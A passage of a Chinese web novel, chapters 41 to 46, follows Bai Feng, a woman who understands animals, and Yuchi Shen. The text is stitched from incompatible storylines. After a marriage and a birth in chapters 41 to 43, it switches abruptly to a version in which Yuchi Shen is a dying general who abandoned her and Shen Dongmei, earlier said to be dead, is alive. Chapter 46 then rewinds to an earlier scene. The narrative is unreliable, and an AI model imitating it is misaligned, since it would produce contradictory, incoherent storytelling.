第二天早朝,皇帝突然宣布废黜太子,改立尉迟深为储君。朝堂上一片哗然,太子当场跪地求饶,但皇帝铁了心,不为所动。 白凤站在将军府里,听着鸟儿们传回来的消息,满意地点点头:“这戏演得不错。” 正想着,尉迟深从外面进来,脸上带着疲惫:“总算结束了。” 第41章 我来晚了 “恭喜你,太子殿下。”白凤笑着说。 尉迟深摆摆手:“别叫我太子,听着别扭。” “那我叫你什么?储君殿下?” “叫我名字就行。”尉迟深在椅子上坐下,“这次多亏了你。” “那是当然。”白凤走过去,“所以,尾款什么时候结?” 尉迟深哭笑不得:“你就不能不提钱?” “不能。”白凤理直气壮,“做生意讲究的就是一手交钱一手交货。” 尉迟深从怀里掏出一叠银票:“都在这里了,你数数。” 白凤接过来,仔细数了一遍,满意地收好:“合作愉快。” “以后还有合作的机会。”尉迟深说,“北方边境最近不太平,父皇让我去处理。” 白凤挑眉:“打仗?” “嗯。”尉迟深点头,“你愿意跟我一起去吗?” 白凤想了想:“去可以,但是…” “我知道,加钱。”尉迟深打断她。 “你真懂我。”白凤笑了,“不过这次不要钱,我要战利品的三成。” 尉迟深愣了愣,随即笑了:“成交。” 北方的风比京城更冷,白凤裹紧了披风,骑在马上跟着大军前行。尉迟深统领着几十万将士,浩浩荡荡地向边境进发。 “冷吗?”尉迟深策马靠近。 “还好。”白凤活动了一下手指,“比起冷,我更担心那些鸟儿们能不能适应这边的气候。” “它们比你想的坚强。”尉迟深说,“你不是说过,你养的都是精英?” “那倒是。”白凤吹了个口哨,几只鹰隼从空中俯冲下来,在她头顶盘旋,“去前面探路,看看敌军的动向。” 鹰隼们应声飞走。白凤转头看向尉迟深:“你打算怎么打?” “先摸清敌军的部署,再制定作战计划。”尉迟深说,“这次对方来势汹汹,不能轻敌。” “我的鸟儿们会帮你。”白凤说,“它们的眼睛比人类的望远镜还好用。” 果然,不到半个时辰,鹰隼们就传回了消息。敌军在边境驻扎了十万大军,占据了三座城池,防守严密。 “十万人。”尉迟深看着地图,“而且占据了有利地形。” “硬攻不行。”白凤指着地图上的一个位置,“这里有条小路,可以绕到敌军后方。” “你怎么知道?” “我的鸟儿告诉我的。”白凤得意地说,“它们飞遍了整个边境,把地形都摸清楚了。” 尉迟深看着地图,眼中闪过一丝光芒:“如果能从这里突袭…” “我可以带着我的猛兽军团。”白凤说,“保证打他们一个措手不及。” 尉迟深抬头看她:“你确定?” “当然。”白凤拍拍胸脯,“我养的可不只是鸟,还有狼、虎、豹。它们在战场上可比人类士兵厉害多了。” 尉迟深沉思片刻,点头:“好,就按你说的办。” 当天夜里,尉迟深召集将领们商议作战计划。白凤也在场,她的建议得到了大家的认可。 “白姑娘的猛兽军团负责突袭,我们正面佯攻,吸引敌军注意力。”尉迟深说,“等敌军阵脚大乱,我们再全力进攻。” “将军英明!”众将领齐声应道。 三天后,大军开拔。白凤带着她的猛兽军团,悄悄绕到敌军后方。夜色掩护下,几十只狼、十几只老虎和豹子,无声无息地潜入敌营。 “动手。”白凤一声令下。 猛兽们如同出笼的猛虎,在敌营中大开杀戒。敌军士兵从睡梦中惊醒,看见眼前的场景,吓得魂飞魄散。 “有妖怪!” “快跑!” 敌营乱成一团。尉迟深抓住时机,率领大军正面进攻。两面夹击之下,敌军溃不成军,纷纷投降。 三座城池,一夜之间全部收复。 战后,尉迟深站在城楼上,看着城下欢呼的士兵们,转头对白凤说:“这次多亏了你。” “应该的。”白凤靠在城墙上,“别忘了我的三成战利品。” 尉迟深笑了:“放心,一分都不会少。” 白凤满意地点点头,突然想起什么:“对了,我想去一趟镇上。” “什么镇?” “我小时候住过的地方。”白凤说,“离这里不远,我想去看看。” 尉迟深看着她,点头:“好,我陪你去。” 两天后,他们来到了那个小镇。镇子还是老样子,只是多了几分萧条。白凤走在熟悉的街道上,心里涌起一股说不出的感觉。 “就是这里。”她停在一座小院前,“我舅舅家。” 院门紧闭,白凤推开门,里面长满了杂草。她走进去,看见院子里立着一块新碑,上面写着舅舅的名字。 “舅舅…”白凤走过去,轻轻抚摸着碑文。 尉迟深站在她身后,没有说话。 “沈冬梅难产死了。”一个苍老的声音从旁边传来。白凤转头,看见一个老妇人站在门口,“一尸两命,你舅妈受不了打击,疯了。” 白凤心里一紧:“舅妈在哪?” “在镇外的破庙里。”老妇人叹了口气,“我们想照顾她,但她谁都不认,只会哭。” 白凤立刻往镇外跑去。破庙里,一个披头散发的女人坐在角落里,嘴里念念有词。白凤走过去,轻声叫道:“舅妈。” 女人抬起头,眼神空洞。白凤心里一酸,蹲下身:“舅妈,是我,白凤。” 女人看着她,突然笑了:“凤儿?凤儿回来了?” “是我。”白凤握住她的手,“我回来了。” 女人的眼泪流了下来:“凤儿,你舅舅走了,冬梅也走了,孩子也没了…” 白凤抱住她,眼泪也忍不住流了下来。尉迟深站在门口,看着这一幕,心里涌起一股难以言说的情绪。 当天晚上,镇上的乡亲们听说白凤回来了,纷纷赶来。他们摆了一桌酒席,非要给白凤接风。 “凤儿,你现在可是大人物了!” “听说你跟着将军打仗,立了大功!” “来来来,喝酒!” 白凤推辞不过,只好陪着喝。一杯接一杯,她很快就醉了。尉迟深想拦,但乡亲们太热情,他也被灌了不少。 夜深了,尉迟深扶着醉醺醺的白凤回到客栈。白凤靠在他肩上,嘴里含糊不清地说着什么。 “舅舅…对不起…我来晚了…” 尉迟深把她放在床上,正要离开,白凤突然拉住他的手:“别走…” “我不走。”尉迟深坐在床边,“我在这里。” 白凤闭着眼睛,眼泪从眼角滑落。尉迟深伸手,轻轻擦去她的泪水。 第42章 那一夜,月色很美 月光透过窗户洒进来,照在两人身上。尉迟深看着白凤的脸,心里涌起一股冲动。他俯下身,轻轻吻了吻她的额头。 白凤睁开眼睛,眼神迷离。她伸手,勾住尉迟深的脖子,把他拉了下来。 那一夜,月色很美。 回京的路上,白凤总觉得身体有些不对劲。她容易疲倦,胃口也变差了,有时候还会恶心。 “你最近怎么了?”尉迟深注意到她的异样,“要不要找大夫看看?” “可能是水土不服。”白凤摆摆手,“回京就好了。” 但回到京城后,症状不但没有好转,反而更严重了。白凤终于忍不住,找了个大夫来看。 大夫把完脉,脸上露出笑容:“恭喜白姑娘,您这是有喜了。” 白凤愣住:“什么?” “您怀孕了,已经两个月了。”大夫说,“要好好调养身体,不能太劳累。” 白凤坐在那里,脑子里一片空白。怀孕?她怀孕了? 大夫走后,白凤还坐在那里发呆。尉迟深推门进来,看见她的样子,走过去:“怎么了?大夫怎么” 白凤抬头看他,张了张嘴,却不知道该说什么。 “你…”尉迟深突然想到什么,脸色变了,“你不会是…” “我怀孕了。”白凤说,“两个月了。” 尉迟深愣在那里,半天没反应过来。白凤看着他的表情,心里涌起一股怒火:“你什么意思?不想负责?” “不是。”尉迟深回过神来,“我只是…太惊喜了。” “惊喜?”白凤冷笑,“你不是说你绝嗣吗?” 尉迟深沉默片刻,叹了口气:“那是我骗你的。” “什么?” “我没有绝嗣。”尉迟深说,“我只是不想接受父皇安排的联姻,所以编了这个理由。” 白凤气得想打他:“你骗我?” “对不起。”尉迟深拉住她的手,“但我没想到会发生那晚的事。” 白凤想起那晚的情景,脸红了:“那晚…我喝醉了…” “我也喝醉了。”尉迟深说,“但我不后悔。” 白凤看着他,心里的怒火慢慢消散。她叹了口气:“现在怎么办?” “我会对你负责。”尉迟深认真地说,“我会娶你。” “谁要你娶?”白凤别过头,“我自己能养活自己和孩子。” “我知道你能。”尉迟深说,“但我想娶你,不是因为孩子,是因为我喜欢你。” 白凤心里一跳,转头看他:“你说什么?” “我喜欢你。”尉迟深看着她的眼睛,“从很久以前就喜欢了。” 白凤张了张嘴,却不知道该说什么。她从来没想过,尉迟深会喜欢她。 “你不用现在回答我。”尉迟深说,“你可以慢慢考虑。” 白凤低下头,心里乱成一团。她不知道自己对尉迟深是什么感觉,但她知道,她不讨厌他。 几天后,尉迟深进宫领赏。皇帝龙颜大悦,不仅赏赐了大量金银珠宝,还封白凤为护国将军。 “白凤立下大功,理应重赏。”皇帝说,“朕还有一件事要宣布。” 尉迟深心里一紧,不知道父皇要说什么。 “朕听说白凤的父亲当年受了冤屈。”皇帝说,“朕已经让人彻查此事,现在真相大白。白家当年是被人陷害,朕决定为白家平反,恢复白家的名誉。” 白凤站在殿外,听到这话,眼泪忍不住流了下来。她等这一天,等了太久了。 “多谢皇上。”白凤跪下,“白家感激不尽。” “这是你应得的。”皇帝说,“朕还有一件事。” 白凤抬起头,看着皇帝。 “朕听说你和太子…”皇帝顿了顿,“你们的事,朕不反对。” 白凤愣住,转头看向尉迟深。尉迟深冲她笑了笑。 “不过。”皇帝话锋一转,“你们得先成亲,不能让朕的孙子没名没分。” 白凤脸红了,她没想到皇帝连这个都知道了。 “父皇…”尉迟深想解释。 “不用说了。”皇帝摆摆手,“朕都知道。你们自己看着办吧,朕只有一个要求,尽快成亲。” 白凤和尉迟深对视一眼,都看到了对方眼中的无奈。 一个月后,两人成亲。婚礼办得很隆重,京城的达官贵人都来了。白凤穿着红色的嫁衣,坐在喜轿里,心里既紧张又期待。 “新娘到!” 白凤被扶下轿,尉迟深走过来,牵起她的手。两人一起走进大堂,拜天地,拜高堂,夫妻对拜。 “送入洞房!” 白凤被送进新房,坐在床边等着。不一会儿,尉迟深推门进来,脸上带着笑容。 “累了吧?”他走过去,坐在她身边。 “还好。”白凤说,“就是这衣服太重了。” 尉迟深伸手,帮她把头上的凤冠取下来。白凤松了口气,活动了一下脖子。 “以后我们就是夫妻了。”尉迟深说。 “嗯。”白凤点点头,“不过我有个条件。” “什么条件?” “我的鸟儿们还是我的,你不能动它们。”白凤认真地说,“还有,我赚的钱也是我的,你不能管。” 尉迟深笑了:“好,都听你的。” “还有。”白凤继续说,“以后如果你敢纳妾,我就带着孩子离开。” “不会的。”尉迟深握住她的手,“我只要你一个。” 白凤看着他,心里涌起一股暖意。她靠在他肩上,轻声说:“其实…我也喜欢你。” 尉迟深愣了愣,随即笑了。他搂住她,在她额头上轻轻一吻:“我知道。” 窗外,月色如水。屋内,烛光摇曳。 十个月后,白凤生下一个男孩。孩子一出生就哭得很响亮,白凤看着他,眼泪忍不住流了下来。 “像你。”尉迟深抱着孩子,笑着说,“看这小脾气。” “胡说。”白凤虚弱地说,“明明像你。” “好好好,像我。”尉迟深把孩子放在她身边,“辛苦你了。” 白凤看着孩子,心里涌起一股难以言说的情绪。她想起舅舅,想起沈冬梅,想起那些已经逝去的人。 “舅舅,你看到了吗?”她在心里默默说,“我现在很好,很幸福。” 窗外,一只鹰隼飞过,在空中盘旋了一圈,然后飞向远方。 日子一天天过去,白凤和尉迟深的生活平静而幸福。白凤继续经营她的情报网,尉迟深则忙着处理朝政。两人偶尔会拌嘴,但很快就和好了。 “你又乱花钱了。”尉迟深看着账本,“这个月光是买肉就花了五百两。” 第43章 我也想要 “那是给我的鸟儿们吃的。”白凤理直气壮,“它们帮我赚了多少钱,你心里没数吗?” 尉迟深无奈地摇摇头:“行行行,你说了算。” “这还差不多。”白凤满意地点点头,“对了,明天我要出趟远门。” “去哪?” “去看看舅妈。”白凤说,“她最近好多了,我想接她来京城住。” “好。”尉迟深说,“我陪你去。” “不用,你忙你的。”白凤摆摆手,“我自己去就行。” “那你小心点。” “知道了。” 第二天,白凤带着孩子,坐着马车往镇上去。路上,她看着窗外的风景,心里涌起一股感慨。 这些年,她经历了太多。从一个无依无靠的孤女,到现在有了自己的家,有了爱她的人,有了可爱的孩子。 “娘,那是什么?”孩子指着天上的鹰隼问。 “那是娘的朋友。”白凤笑着说,“它们很厉害的。” “我也想要。” “等你长大了,娘教你。” 孩子高兴地拍手。白凤看着他,心里充满了幸福。 这就是她想要的生活,平凡而温暖。 白凤话音刚落,黑甲侍卫的脸色瞬间沉了下来。 “你可知道拒绝将军意味着什么?”侍卫冷声道,“将军府的恩典,多少人求都求不来。” 白凤抱紧怀里的豆豆,面色平静:“恩典?我看是另有所图吧。” 她转头看向那匹枣红骏马,马儿正用蹄子刨着地面,显得有些焦躁。白凤心里明白,尉迟深突然要认回她们母子,绝不是什么良心发现,多半是因为绝嗣的事让他慌了神。 舅妈沈氏见状,立刻换上一副谄媚的笑脸:“哎呦,白凤啊,你这孩子怎么这么不懂事?将军府那可是天大的富贵,你还推三阻四的。” “舅妈这么羡慕,不如您去?”白凤凉凉地回了一句。 沈氏的脸色一僵,正要发作,却被侍卫打断:“沈氏,将军让我带句话给你。当年的事,他都记得。” 这话说得意味深长,沈氏的脸色顿时变得煞白。她张了张嘴,却一个字都说不出来。 白凤眯起眼睛,敏锐地捕捉到了其中的信息。看来当年她娘的死,这舅妈怕是也参了一脚。 “我不管你们之间有什么恩怨。”白凤抱着豆豆往后退了一步,“我只知道,我和豆豆现在过得挺好,不需要什么将军府。” 侍卫皱眉:“你一个女人带着孩子,住在破庙里,这叫过得好?” “总比住进火坑强。”白凤毫不客气地回道。 大黄狗这时候突然叫了起来:“汪汪!主人,那马说了,将军最近身体不好,府里的大夫说他活不过今年冬天!” 白凤心里一动,面上却不显。难怪尉迟深这么着急要认回豆豆,原来是想找个继承人。 “你们将军身体不好?”白凤试探性地问。 侍卫脸色微变,显然没想到她会知道这事:“将军的身体与你无关。” “怎么无关?”白凤冷笑,“他是不是想让豆豆继承将军府?可惜啊,我儿子姓白,不姓尉迟。” 这话一出,侍卫的表情彻底变了。他死死盯着白凤,仿佛要把她看穿:“你到底想要什么?” 白凤抬起头,直视对方的眼睛:“我要一千两银子,一间宅子,还有一纸文书,写明从此以后,将军府与我们母子再无瓜葛。” “你!”侍卫气得脸色铁青。 沈氏在旁边听得目瞪口呆,一千两银子?这死丫头疯了不成? “不答应就算了。”白凤抱着豆豆转身就走,“反正我们母子过得也不差。” “等等!”侍卫咬牙切齿地说,“我需要回去禀报将军。” “随便。”白凤头也不回,“不过我只等三天,三天后我就带着豆豆离开这个镇子,到时候你们想找都找不到。” 说完,她抱着豆豆大步离开,大黄狗紧紧跟在她身后。 走出一段距离后,豆豆小声问:“娘,我们真的要走吗?” “不走。”白凤低声说,“但是要让他们以为我们会走。” 豆豆似懂非懂地点点头。 大黄狗凑过来:“汪汪!主人,你好厉害!那个侍卫的马说,将军府现在乱得很,好几房姨娘都在争宠,想生个儿子出来。” 白凤心里冷笑,果然是这样。尉迟深这是病急乱投医,连她这个被抛弃的女人生的孩子都想认回去。 回到城隍庙,白凤把豆豆安顿好,自己坐在破蒲团上思考对策。 一千两银子和一间宅子,这个要求其实不算过分。以尉迟深的身家,这点钱不过是九牛一毛。但她要的那纸文书,才是关键。 只要有了那纸文书,将军府就再也不能来纠缠她们母子。至于尉迟深的继承人问题,那是他自己的事,与她无关。 “娘,我饿了。”豆豆揉着肚子说。 白凤回过神来,摸了摸怀里的荷包。昨天卖药材得的银子还剩下不少,够她们母子吃一阵子了。 “走,娘带你去买肉包子。” 豆豆立刻高兴地跳了起来:“好耶!” 大黄狗也兴奋地摇着尾巴:“汪汪!我也要吃!” 三个人一狗出了城隍庙,往镇上的包子铺走去。路上遇到不少人,都用异样的眼光看着白凤。 “听说了吗?将军府的人来找她了。” “可不是,我亲眼看见的,那黑甲侍卫可威风了。” “她一个未婚生子的女人,居然还敢拒绝将军府,真是不知好歹。” 白凤充耳不闻,径直走进包子铺。 “来十个肉包子。”她掏出铜板放在柜台上。 包子铺的老板娘是个热心肠,见白凤带着孩子,多给了两个:“姑娘,你可要想清楚了。将军府那可是高门大户,错过这个机会,以后想攀都攀不上。” 白凤接过包子,淡淡地说:“高门大户的水深,我可不想淹死在里面。” 老板娘一愣,随即叹了口气:“也是,你一个人带着孩子不容易,确实要小心些。” 白凤道了谢,带着豆豆和大黄狗找了个角落坐下。豆豆捧着热腾腾的包子,吃得满嘴流油。 “娘,这包子真好吃!” 白凤看着儿子开心的样子,心里涌起一股暖意。不管外面的风风雨雨如何,只要豆豆能平安长大,她什么都愿意做。 正吃着,包子铺外突然传来一阵骚动。 “让开让开!沈家小姐来了!” 第44章 那你可愿意? 白凤抬头一看,就见沈冬梅带着几个家丁气势汹汹地走了进来。 “白凤!”沈冬梅指着她大声道,“你好大的胆子,居然敢跟将军府的人讨价还价!” 包子铺里的客人纷纷侧目,白凤却不慌不忙地咬了口包子:“关你什么事?” “怎么不关我的事?”沈冬梅冷笑,“你住在我家这么多年,吃我家的用我家的,现在有了富贵就想一脚踢开?做梦!” 白凤放下包子,慢慢站起身来:“沈冬梅,你说这话不怕遭雷劈?我在你家这些年,哪天不是干最重的活,吃最差的饭?现在倒成了我占你家便宜了?” “你还敢顶嘴!”沈冬梅气得脸色通红,“来人,给我把她抓回去!” 几个家丁立刻围了上来。 大黄狗呲着牙,发出低沉的吼声。 白凤护住豆豆,冷冷地说:“你们敢动我一下试试。” “怎么?你还想反抗不成?”沈冬梅得意地笑了,“我告诉你,将军府的人已经答应了,只要我把你送回去,就给我们家一百两银子!” 白凤心里一沉,原来沈家已经和将军府勾结上了。 “一百两银子就把我卖了?”她讽刺地笑了,“沈冬梅,你还真是你娘的好女儿,一样的见钱眼开。” “你!”沈冬梅气急败坏,“给我抓!” 家丁们刚要动手,包子铺外突然传来一个苍老的声音:“住手!” 众人回头一看,只见一个白发老者拄着拐杖走了进来。老者身后跟着几个衙役,为首的正是镇上的里正。 “里正大人!”沈冬梅立刻换上笑脸,“您怎么来了?” 里正没理她,径直走到白凤面前:“姑娘,老夫听说将军府要接你回去?” 白凤点点头:“是有这么回事。” “那你可愿意?”里正问。 “不愿意。”白凤答得干脆。 里正捋了捋胡子,转头看向沈冬梅:“沈家丫头,你可知道强抓良民是什么罪?” 沈冬梅脸色一变:“里正大人,我这是为了她好……” “为她好?”里正冷哼一声,“老夫看你是为了那一百两银子吧。” 沈冬梅的脸色彻底白了。 里正又转向白凤:“姑娘,你若是不愿意去将军府,老夫可以为你作证。不过……”他顿了顿,“将军府势大,你一个弱女子带着孩子,恐怕不好对付。” 白凤明白里正的意思,这是在提醒她要小心。 “多谢里正大人关心。”她恭敬地行了一礼,“不过我自有打算。” 里正深深地看了她一眼,点点头:“也罢,你自己保重。” 说完,他带着衙役离开了。 沈冬梅见里正走了,又想上前,却被白凤一个眼神逼退。 “沈冬梅,你最好离我远点。”白凤冷冷地说,“不然别怪我不客气。” 说完,她抱起豆豆,带着大黄狗扬长而去。 走出包子铺,豆豆小声问:“娘,我们接下来怎么办?” 白凤看着远处的天空,眼中闪过一丝坚定:“等。等将军府的人来找我们。” 回到城隍庙,白凤把剩下的包子放好,开始收拾东西。 “主人,我们真的要走吗?”大黄狗趴在门槛上,歪着脑袋问。 “不走,但要做出要走的样子。”白凤一边整理药材一边说,“将军府的人肯定在盯着我们,越是表现得无所谓,他们越会着急。” 豆豆坐在一旁,认真地听着娘说话。虽然他年纪小,但这些日子经历的事让他比同龄孩子懂事得多。 “娘,那个将军真的是我爹吗?”豆豆突然问。 白凤手上的动作顿了顿,她蹲下身来,看着儿子的眼睛:“豆豆,有些事等你长大了娘会告诉你。但你要记住,不管发生什么,娘都会保护你。” 豆豆用力点头:“嗯!我也会保护娘!” 白凤笑了,揉了揉儿子的头发。 就在这时,大黄狗突然竖起耳朵:“汪!有人来了!” 白凤站起身,走到门口往外看。果然,一辆马车正缓缓驶来,停在城隍庙外。 车帘掀开,下来的不是黑甲侍卫,而是一个穿着青色长衫的中年男子。男子面容儒雅,手里拿着一把折扇,看起来像个读书人。 “白姑娘。”男子拱手行礼,“在下姓钱,是将军府的管家。” 白凤打量着对方,心里暗暗警惕。将军府这次派管家来,看来是要好好谈谈了。 “钱管家有何贵干?”她不冷不热地问。 钱管家笑了笑:“姑娘昨日提的条件,将军已经同意了。” 白凤心里一动,面上却不显:“哦?这么快就答应了?” “将军说了,一千两银子,一间宅子,还有那纸文书,都依你。”钱管家说着,从怀里掏出一张银票和一份地契,“这是五百两的银票,还有镇东头一处三进的宅子。剩下的五百两,等姑娘带着少爷回府后再给。” 白凤冷笑:“钱管家这是在跟我讲条件?” “不敢不敢。”钱管家连忙摆手,“只是将军想见见少爷,毕竟是他的骨血……” “骨血?”白凤打断他,“当年他抛弃我们母子的时候,怎么没想起这是他的骨血?” 钱管家脸上闪过一丝尴尬:“姑娘,当年的事确实是将军不对。但事已至此,总要为孩子的将来打算不是?” “我儿子的将来不需要他操心。”白凤冷冷地说,“我的条件很简单,一千两银子,一间宅子,一纸文书,一样都不能少。钱给够了,文书写好了,我自然会让他见豆豆一面。” 钱管家皱起眉头:“姑娘,你这是不信任将军?” “信任?”白凤嘲讽地笑了,“钱管家觉得我该信任一个抛弃妻儿的男人?” 钱管家被噎得说不出话来。 “三天。”白凤竖起三根手指,“三天内把东西准备好,不然我就带着豆豆离开这里,你们再也别想找到我们。” 说完,她转身回了城隍庙,留下钱管家站在原地。 钱管家看着紧闭的庙门,叹了口气,转身上了马车。 马车里,一个低沉的声音响起:“如何?” “将军,这女人不好对付。”钱管家恭敬地说,“她咬死了要一千两银子和文书,少一样都不行。” 车厢里沉默了片刻,那声音再次响起:“依她。” “可是将军……”钱管家欲言又止。 “我知道你想说什么。”声音里带着疲惫,“但我时日无多,必须尽快安排好后事。那孩子虽然是庶出,但到底流着尉迟家的血。” 第45章 依她 钱管家不再多言,吩咐车夫调转马头。 城隍庙里,白凤靠在墙上,长长地出了口气。 “娘,你刚才好厉害!”豆豆崇拜地看着她。 白凤苦笑,她哪里是厉害,不过是在赌罢了。赌尉迟深真的时日无多,赌他急需一个继承人。 “汪汪!主人,那马车里有个人,闻起来有股药味。”大黄狗凑过来说。 白凤心里一动:“什么样的药味?” “很苦很苦的那种,还有点臭。”大黄狗皱着鼻子,“我在山上闻过,那些快死的动物身上就是这个味道。” 白凤明白了,看来尉迟深的身体确实很糟糕。这样一来,她的筹码就更大了。 接下来的两天,白凤照常带着豆豆上山采药。她发现自从能听懂动物说话后,采药的效率高了许多。山里的老鼠会告诉她哪里有好药材,鸟儿会提醒她哪里有危险。 这天下午,白凤正在山腰采药,突然听到一阵急促的马蹄声。 “汪汪!主人,有人来了!”大黄狗警惕地叫道。 白凤抬头一看,只见一队人马正朝这边赶来。为首的正是那个黑甲侍卫,他身后还跟着十几个士兵。 “不好,他们是来抓我们的!”白凤心里一紧,立刻抱起豆豆往山上跑。 “站住!”黑甲侍卫大喝一声,策马追了上来。 白凤跑得气喘吁吁,豆豆紧紧抱着她的脖子,大黄狗在前面带路。 “往左边跑!那边有个山洞!”大黄狗叫道。 白凤顾不得多想,跟着大黄狗往左边跑。果然,前面出现了一个隐蔽的山洞。 她刚钻进山洞,外面就传来马蹄声。 “人呢?”黑甲侍卫的声音响起。 “禀将军,不见了。”一个士兵回答。 “找!给我仔细找!” 白凤屏住呼吸,紧紧抱着豆豆。山洞很深,里面黑漆漆的,但她不敢点火把。 “娘,我怕。”豆豆小声说。 “别怕,有娘在。”白凤轻声安慰。 大黄狗趴在洞口,警惕地盯着外面。 过了好一会儿,外面的声音渐渐远去。 “汪汪,他们走了。”大黄狗说。 白凤松了口气,但她知道不能在这里久留。她摸索着往山洞深处走,突然脚下踩到了什么软软的东西。 “吱吱吱!”一个尖细的声音响起。 白凤吓了一跳,定睛一看,原来是那只大耗子。 “是你!”她惊讶地说。 “吱吱,你怎么又来了?”大耗子不满地叫着,“这是我的地盘!” “对不起,我们是来躲人的。”白凤连忙道歉。 大耗子转了转眼珠:“躲人?躲什么人?” “一群想抓我们的坏人。”豆豆小声说。 大耗子听了,突然兴奋起来:“吱吱!我知道一条密道,可以直接通到山下!跟我来!” 白凤犹豫了一下,还是决定相信它。她跟着大耗子往山洞深处走,果然发现了一条狭窄的通道。 通道很窄,白凤只能侧着身子挤过去。好在豆豆个子小,倒是不费劲。 走了大约一刻钟,前面突然出现了亮光。白凤加快脚步,终于走出了山洞。 眼前是一片竹林,清风徐来,竹叶沙沙作响。 “吱吱,这里很安全,那些人找不到的。”大耗子得意地说。 白凤感激地看着它:“多谢你了。” “吱吱,不用谢。”大耗子摆摆爪子,“不过你要小心,那些人不会善罢甘休的。” 白凤点点头,她当然知道。尉迟深既然派人来抓她,就说明他已经不耐烦了。 “我们得尽快离开这里。”她对豆豆说。 “去哪里?”豆豆问。 白凤想了想:“去县城。” 镇子太小,将军府的人很容易找到她们。只有去县城,才能暂时躲一躲。 “汪汪!主人,我听那些马说,将军府在县城也有人。”大黄狗提醒道。 白凤皱起眉头,这倒是个麻烦。 “吱吱,我有个主意。”大耗子突然说,“你们可以去找药王谷的人。” “药王谷?”白凤疑惑地看着它。 “吱吱,药王谷是这一带最有名的医馆,谷主医术高明,而且最讨厌仗势欺人的人。”大耗子解释道,“你们去投奔他,将军府的人就不敢乱来了。” 白凤眼睛一亮,这倒是个好主意。 “药王谷在哪里?”她问。 “吱吱,在县城西边的青云山上。”大耗子说,“不过谷主脾气古怪,不是谁都收的。” “总得试试。”白凤下定决心。 她带着豆豆和大黄狗,沿着小路往县城方向走去。一路上,她不时回头张望,生怕被将军府的人发现。 天色渐暗,白凤找了个破庙暂时歇脚。豆豆累得睡着了,白凤抱着他,心里思绪万千。 她本以为拒绝将军府就能过上安稳日子,没想到尉迟深这么不依不饶。看来这个男人是真的急了,不惜动用武力也要把豆豆抢回去。 “汪汪,主人,你说那个将军为什么这么想要少爷?”大黄狗趴在她脚边问。 “因为他快死了,需要一个继承人。”白凤淡淡地说。 “那他为什么不自己再生一个?” “生不出来了。”白凤冷笑,“听说他这些年纳了不少妾,却一个孩子都没有。” 大黄狗歪着头想了想:“那他活该!当年抛弃你们,现在又想回来认儿子,哪有这么好的事!” 白凤摸了摸大黄狗的头,没有说话。 她当然恨尉迟深,恨他当年的无情,恨他现在的自私。但她更清楚,光靠恨解决不了问题。她必须想办法彻底摆脱将军府的纠缠,给豆豆一个安稳的未来。 夜深了,破庙外传来窸窸窣窣的声音。 白凤警觉地睁开眼睛,只见几个黑影正悄悄靠近。 “汪汪!”大黄狗低吼一声。 “别出声。”白凤按住它,抱起豆豆,悄悄往后门移动。 就在这时,一个黑影突然冲了进来:“找到了!他们在这里!” 白凤心里一沉,抱着豆豆就往外跑。 “站住!”几个黑影追了上来。 白凤跑得飞快,但怀里抱着孩子,速度还是慢了。眼看就要被追上,突然前面出现了一道人影。 “何方宵小,竟敢在此撒野!” 一个苍老的声音响起,紧接着,一道白光闪过,那几个黑影立刻倒地不起。 白凤停下脚步,定睛一看,只见一个白发老者站在月光下,手里拿着一根银针。 “多谢前辈相救。”她连忙行礼。 老者打量着她,突然笑了:“有意思,一个能听懂兽语的女子,还真是少见。” 第46章 你不用怕他 白凤心里一惊,这老者居然看出了她的秘密! 白凤下意识地往后退了一步,警惕地看着眼前的白发老者。 “前辈说笑了,我不过是个普通女子。”她试图掩饰。 老者呵呵一笑:“普通女子?普通女子能让一只狗和一只老鼠死心塌地跟着?姑娘,老夫活了七十多年,什么没见过。” 白凤沉默了,她知道瞒不住了。 “前辈到底是何人?”她问。 “老夫姓孙,人称药王。”老者捋着胡子说,“刚才听那只耗子说你要去找我,正好老夫下山采药,就顺路过来看看。” 白凤心里一动,原来这就是药王谷的谷主! “晚辈白凤,见过孙谷主。”她恭敬地行了一礼。 孙药王摆摆手:“不必多礼。说说吧,你为何被将军府的人追杀?” 白凤犹豫了一下,还是把事情的来龙去脉说了一遍。 孙药王听完,脸色沉了下来:“尉迟深这个老匹夫,当年抛妻弃子,现在又想强抢孩子,真是不要脸!” 白凤没想到孙药王会这么激动,小心翼翼地问:“谷主认识尉迟深?” “岂止认识。”孙药王冷哼一声,“当年他在战场上受了重伤,是老夫把他从鬼门关拉回来的。没想到这个忘恩负义的东西,转头就抛弃了救命恩人的女儿!” 白凤愣住了:“救命恩人的女儿?” “你娘当年也是学医的,跟老夫学了三年。”孙药王叹了口气,“她为了救尉迟深,用自己的血给他疗伤,结果伤了根本,后来才会难产而死。” 白凤只觉得脑子里嗡嗡作响。原来娘是为了救尉迟深才死的! “那他为什么要抛弃我娘?”她颤声问。 “还不是为了攀高枝。”孙药王愤怒地说,“尉迟深立了战功,被封为将军,朝中有权贵想把女儿嫁给他。你娘出身低微,自然就成了绊脚石。” 白凤握紧拳头,指甲深深陷进掌心。她终于明白了,为什么尉迟深当年会那么绝情,原来一切都是为了权势。 “所以你不用怕他。” 白凤抱着豆豆,看着那黑甲侍卫骑着枣红骏马离去的背影,心里直犯嘀咕。 尉迟深?这名字听着就不是什么好惹的主。原主记忆里对这个男人只有恐惧和怨恨,当年一夜风流,事后连面都没再见过,如今倒是想起来认儿子了。 “娘,那个黑叔叔好凶。”豆豆小声说。 白凤摸摸儿子的头:“不怕,咱们不理他。” 大黄狗蹲在旁边,尾巴甩来甩去:“主人,我刚才听那马说,尉迟深在京城可是个狠角色,手底下人命没有一百也有八十。” 白凤翻了个白眼:“你能不能说点有用的?” “有用的就是,他府里金银财宝堆成山,光是厨房每天倒掉的剩菜,都够咱们吃一个月。”大黄狗咽了咽口水。 “就知道吃。”白凤没好气道,转身往城隍庙里走,“银子咱们自己挣,用不着看人脸色。” 舅妈沈氏还杵在庙门口不肯走,见白凤要进去,立刻拦住:“你个赔钱货,把我女儿的熟肉还回来!” 白凤斜睨她一眼:“早吃完了,要不你去我肚子里掏?” “你!”沈氏气得脸都青了,“我养你这么多年,你就这么报答我?” “养我?”白凤笑出声,“柴房漏风漏雨,一天两顿稀粥汤,豆豆才三岁就要跟着干活,这就是你说的养?沈婶子,做人要讲良心,你有吗?” 沈氏被噎得说不出话,指着白凤的手都在抖。 “行了,我还有事,你该回哪回哪去。”白凤抱着豆豆往里走。 大黄狗龇牙冲沈氏低吼两声,吓得她连退几步,这才悻悻离开。 城隍庙里光线昏暗,白凤找了块相对干净的地方,把从舅妈家带出来的破被褥铺开。豆豆困了,窝在被子里很快睡着。 白凤坐在一旁,开始盘算接下来的日子。 